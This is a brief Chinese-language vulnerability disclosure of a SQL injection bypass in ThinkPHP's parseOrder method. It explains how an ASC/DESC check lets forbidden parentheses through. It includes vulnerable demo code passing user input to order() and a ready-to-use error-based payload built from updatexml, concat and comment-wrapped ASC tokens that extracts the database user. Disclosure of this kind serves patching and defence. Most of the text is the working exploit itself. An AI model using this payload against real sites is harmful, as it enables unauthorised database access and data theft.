漏洞详情:
漏洞文件:./ThinkPHPLibraryThinkDbDriver.class.php 中的 parseOrder方法:
这也是继上次order方法注入之后的修复手段。
可以看到首先判断是否存在ASC或DESC,正是因为这判断,导致了我们可以引入 ( 等禁止的字符,所以导致了绕过过滤进行注入。
漏洞证明:
漏洞demo代码:
public function orderby() { $obj = M('user'); $res = $obj->where('id=1')->order(I('id'))->select(); echo $obj->getLastSql(); }
利用证明:
Payload:id=updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,user/*,*/(/*%20ASC,*/),0x7e),1)
就是将语句中的所有 ( 替换成 /*,*/(/*%20ASC,*/ 即可绕过过滤进行注入。